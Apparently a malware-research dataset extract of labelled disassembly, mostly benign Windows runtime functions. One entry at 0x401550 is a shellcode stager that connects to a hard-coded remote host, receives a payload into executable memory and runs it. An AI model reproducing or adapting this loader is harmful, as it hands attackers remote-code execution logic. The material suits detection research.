joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140022de0
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov esi, ecx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140022ef0
lea r14, [rbx + 0x68]
mov rcx, r14
call fcn.140025360
cmp esi, dword [rbx + 0x48]
jae 0x140022e70
mov rdi, qword [rbx + 0x50]
mov qword [rdi + rsi*8], r12
mov rax, qword [rbx + 0x58]
mov rcx, r14
mov byte [rax + rsi], 1
call fcn.1400253a0
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rbx + 0x50]
lea r15d, [rsi + 1]
movsxd r13, r15d
lea rdx, [r13*8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_realloc
test rax, rax
mov rdi, rax
je 0x140022efd
mov rcx, qword [rbx + 0x58]
mov rdx, r13
movq xmm6, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_realloc
movq xmm0, rax
test rax, rax
mov r13, rax
punpcklqdq xmm6, xmm0
je 0x140022efd
mov eax, dword [rbx + 0x48]
mov edx, r15d
lea rcx, [rdi + rax*8]
sub edx, eax
lea r8, [rdx*8]
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov edx, dword [rbx + 0x48]
mov r8d, r15d
lea rcx, [r13 + rdx]
sub r8d, edx
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
movaps xmmword [rbx + 0x50], xmm6
mov dword [rbx + 0x48], r15d
jmp 0x140022e34
call fcn.140022090
mov rbx, rax
jmp 0x140022e1f
mov rcx, r14
call fcn.1400253a0
mov eax, 0xc
jmp 0x140022e52

Function at 0x140022f80
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140022fa8
mov rax, qword [rax + 0x30]
add rsp, 0x28
ret
call fcn.140022090
test rax, rax
jne 0x140022f9a
add rsp, 0x28
ret

Function at 0x140023010
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140023038
add rax, 0x18
add rsp, 0x28
ret
call fcn.140022090
test rax, rax
jne 0x14002302a
jmp 0x14002302e

Function at 0x140023150
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x1400346f8]
test eax, eax
jne 0x140023168
xor eax, eax
add rsp, 0x28
ret
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140023198
mov edx, dword [rax + 0x20]
test edx, edx
jg 0x14002315e
test byte [rax + 0x40], 3
je 0x14002315e
mov eax, dword [rax + 0x44]
and eax, 1
jmp 0x140023160
call fcn.140022090
test rax, rax
jne 0x14002317e
jmp 0x14002315e
Function at 0x1400231b0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x1400231f0
test ebx, ebx
jle 0x1400231e0
lock add dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
lock sub dword [rax + 0x20], 1
add rsp, 0x20
pop rbx
ret
call fcn.140022090
test rax, rax
jne 0x1400231cd
add rsp, 0x20
pop rbx
ret

Function at 0x1400232e0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140023358
test byte [rbx + 0x40], 0xc
jne 0x14002330f
mov eax, dword [0x1400346f8]
test eax, eax
jne 0x140023320
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.140021260
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x140023343
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x140023343
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14002336c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140021550
call fcn.140022090
test rax, rax
mov rbx, rax
jne 0x1400232ff
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14002338a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.140021550
call fcn.140023200
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x140023410
call fcn.1400244f0
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x140023448
call fcn.140021fe0
mov ecx, dword [0x140027798]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x1400234a0
test esi, esi
je 0x140023426
call fcn.1400232e0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140023480
mov edx, edi
call fcn.1400245a0
call fcn.1400232e0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140023490
call fcn.1400232e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400232e0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140021fe0
mov ecx, dword [0x140027798]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x1400233e5
call fcn.140022090
mov rbx, rax
jmp 0x1400233e5
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400233fe
call fcn.140022090
jmp 0x140023426
call fcn.140022090
mov rbx, rax
jmp 0x1400233e1
Function at 0x1400233a0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140023358
test byte [rbx + 0x40], 0xc
jne 0x14002330f
mov eax, dword [0x1400346f8]
test eax, eax
jne 0x140023320
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.140021260
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x140023343
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x140023343
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14002336c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140021550
call fcn.140022090
test rax, rax
mov rbx, rax
jne 0x1400232ff
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, qword [rbx + 0x30]
and eax, 0xfffffff3
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14002338a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.140021550
call fcn.140023200
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x140023410
call fcn.1400244f0
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x140023448
call fcn.140021fe0
mov ecx, dword [0x140027798]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x1400234a0
test esi, esi
je 0x140023426
call fcn.1400232e0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140023480
mov edx, edi
call fcn.1400245a0
call fcn.1400232e0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140023490
call fcn.1400232e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400232e0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140021fe0
mov ecx, dword [0x140027798]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
jne 0x1400233e5
call fcn.140022090
mov rbx, rax
jmp 0x1400233e5
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400233fe
call fcn.140022090
jmp 0x140023426
call fcn.140022090
mov rbx, rax
jmp 0x1400233e1

Function at 0x1400234b0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.140021fe0
mov ecx, dword [0x140027798]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x140023520
test esi, esi
je 0x140023500
call fcn.1400232e0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140023530
mov edx, esi
call fcn.1400245a0
call fcn.1400232e0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.1400232e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400232e0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140022090
mov rbx, rax
jmp 0x1400234d1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400234ea
Function at 0x401550
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x210
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, section..rdata
mov qword [rbp + 0x180], rax
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x17c], eax
cmp dword [rbp + 0x17c], 0
je 0x4015a1
mov eax, 0xffffffff
jmp 0x401767
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x170], rax
cmp qword [rbp + 0x170], 0
jne 0x4015d5
mov eax, 0xffffffff
jmp 0x401767
mov word [rbp - 0x50], 2
mov dword [rbp - 0x4c], 0x6f6f6f6f
mov word [rbp - 0x4e], 0x3d9
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x170]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x17c], eax
cmp dword [rbp + 0x17c], 0
je 0x401624
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4015e8
nop
mov rdx, qword [rbp + 0x180]
mov rax, qword [rbp + 0x170]
mov r9d, 0
mov r8d, 3
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x16c], eax
mov eax, dword [rbp - 0x4c]
mov byte [rbp - 0x56], al
mov eax, dword [rbp - 0x4c]
shr eax, 8
mov byte [rbp - 0x55], al
mov eax, dword [rbp - 0x4c]
shr eax, 0x10
mov byte [rbp - 0x54], al
mov eax, dword [rbp - 0x4c]
shr eax, 0x18
mov byte [rbp - 0x53], al
movzx eax, word [rbp - 0x4e]
mov byte [rbp - 0x52], al
movzx eax, word [rbp - 0x4e]
shr ax, 8
mov byte [rbp - 0x51], al
lea rax, [rbp - 0x56]
mov rcx, qword [rbp + 0x170]
mov r9d, 0
mov r8d, 6
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x16c], eax
mov qword [rbp + 0x160], 0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1c9c380
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x160], rax
cmp qword [rbp + 0x160], 0
jne 0x4016ef
mov eax, 0xffffffff
jmp 0x401767
mov dword [rbp + 0x18c], 0
mov eax, dword [rbp + 0x18c]
mov rdx, qword [rbp + 0x160]
add rdx, rax
mov rax, qword [rbp + 0x170]
mov r9d, 0
mov r8d, 0x64000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x15c], eax
cmp dword [rbp + 0x15c], 0
jle 0x401745
mov eax, dword [rbp + 0x15c]
add dword [rbp + 0x18c], eax
jmp 0x4016f9
nop
mov rax, qword [rbp + 0x170]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x160]
call rax
mov eax, 0
add rsp, 0x210
pop rbp
ret
Function at 0x401cc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401e48
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401d0c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401d95
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401cf0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401e7d
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401e60
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401d8e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401df0
add dword [0x00407624], 1
cmp edi, 8
jae 0x401dc3
test dil, 4
jne 0x401e34
test edi, edi
je 0x401db8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401e4f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401db8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401ddc
jmp 0x401db8
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401d8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401db8
xor esi, esi
jmp 0x401d17
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401db8
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4025d0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402624
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40261b
test rsi, rsi
je 0x40261b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402600
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402860
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402870
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402880
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4028c1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4028b8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4028c3
add rax, 0x28
cmp rax, r9
jne 0x4028a4
xor eax, eax
ret

Function at 0x402960
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404340]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4029cd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4029cd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4029cd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4029c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029cf
add rax, 0x28
cmp rax, r9
jne 0x4029b0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402ad0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404340]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402af0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402ae8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402b4d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402b44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402b54
add rax, 0x28
cmp rax, r9
jne 0x402b30
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402b70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404340]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402bde
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402bde
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402bde
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402bde
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402bd5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402be5
add rcx, 0x28
cmp rcx, rax
jne 0x402bc0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402bf8
jmp 0x402bde
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402c06
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402bde
test r9d, r9d
jg 0x402bf0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x1400034a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400034fd
lea rbx, [0x1400e7fa0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400034e4
cmp r10, 2
jb 0x1400034e4
cmp byte [r9], r8b
jne 0x1400034e4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400034c0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000353f
lea rbx, [0x1400e7fa0]
cmp r8b, 0x23
jne 0x140003523
cmp byte [r9], r8b
jne 0x140003523
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140003510
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140003680
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000369a
mov qword [r8], 0
lea rdx, [0x1400e79ec]
call fcn.140003550
mov rbx, rax
test rax, rax
jne 0x1400036ba
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140003793
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003793
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140003793
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003793
cmp rdi, 0xffffffffffffffff
je 0x140003793
mov rax, qword [0x1401d4f20]
test rax, rax
je 0x140003730
inc dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140003793
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140003780
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1401d4f20]
test rax, rax
je 0x140003775
dec dword [rax + 0x3b0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000379c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000378e
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000379e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140011350
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1401d4f20]
lea r11, [0x1400e7fa0]
mov r8d, ecx
mov r10, qword [rax + 0x1d18]
movsxd rdx, dword [r10 + 0x108]
mov rax, qword [r10 + 0x110]
mov r9d, dword [rax + rdx*4 - 4]
not r9d
movzx eax, cl
movzx edx, r9b
xor rdx, rax
shr r9d, 8
mov eax, ecx
shr eax, 8
xor r9d, dword [r11 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
mov eax, r8d
xor rdx, rcx
shr eax, 0x10
xor r9d, dword [r11 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
mov eax, r8d
xor rdx, rcx
shr rax, 0x18
lea rcx, [r10 + 0x108]
xor r9d, dword [r11 + rdx*4]
movzx edx, r9b
xor rdx, rax
shr r9d, 8
xor r9d, dword [r11 + rdx*4]
lea rdx, [rsp + 0x30]
not r9d
mov dword [rsp + 0x30], r9d
call fcn.140023280
add rsp, 0x28
ret

Function at 0x140011ef0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1401d4f20]
mov edi, edx
cmp byte [rbx + 0x20d5], 0
jne 0x140011f50
cmp byte [rbx + 0x20d6], 0
jne 0x140011f50
mov r9d, dword [rbx + 0x3178]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140003420
test dil, 1
je 0x140012077
jmp 0x140011fe1
movss xmm1, dword [rbx + 0x16ec]
lea r8, str.Tooltip__02d
mov r9d, dword [rbx + 0x3178]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x1400faf1c]
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x1400faf10]
addss xmm0, dword [rbx + 0x120]
addss xmm1, dword [rbx + 0x124]
mov qword [rbx + 0x1ddc], rax
mov dword [rbx + 0x1dc4], 1
movss dword [rbx + 0x1dd4], xmm0
mov byte [rbx + 0x1dfc], 1
movss dword [rbx + 0x1dd8], xmm1
movss xmm0, dword [rbx + 0x1748]
mulss xmm0, dword [0x1400fae7c]
or dword [rbx + 0x1dc0], 0x41
movss dword [rbx + 0x1e20], xmm0
call fcn.140003420
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140012031
lea r11, [0x1400e7fa0]
cmp r9b, 0x23
jne 0x140012014
cmp byte [r8], r9b
jne 0x140012014
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140012001
not ecx
call fcn.14000ae70
test rax, rax
je 0x140012077
cmp byte [rax + 0xcf], 0
je 0x140012077
mov byte [rax + 0xd6], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xf0], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x3178]
mov edx, reloc.WS2_32.dll_recv
mov r9d, dword [rbx + 0x3178]
call fcn.140003420
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x22c0347
call fcn.14000d8f0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400d2300
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret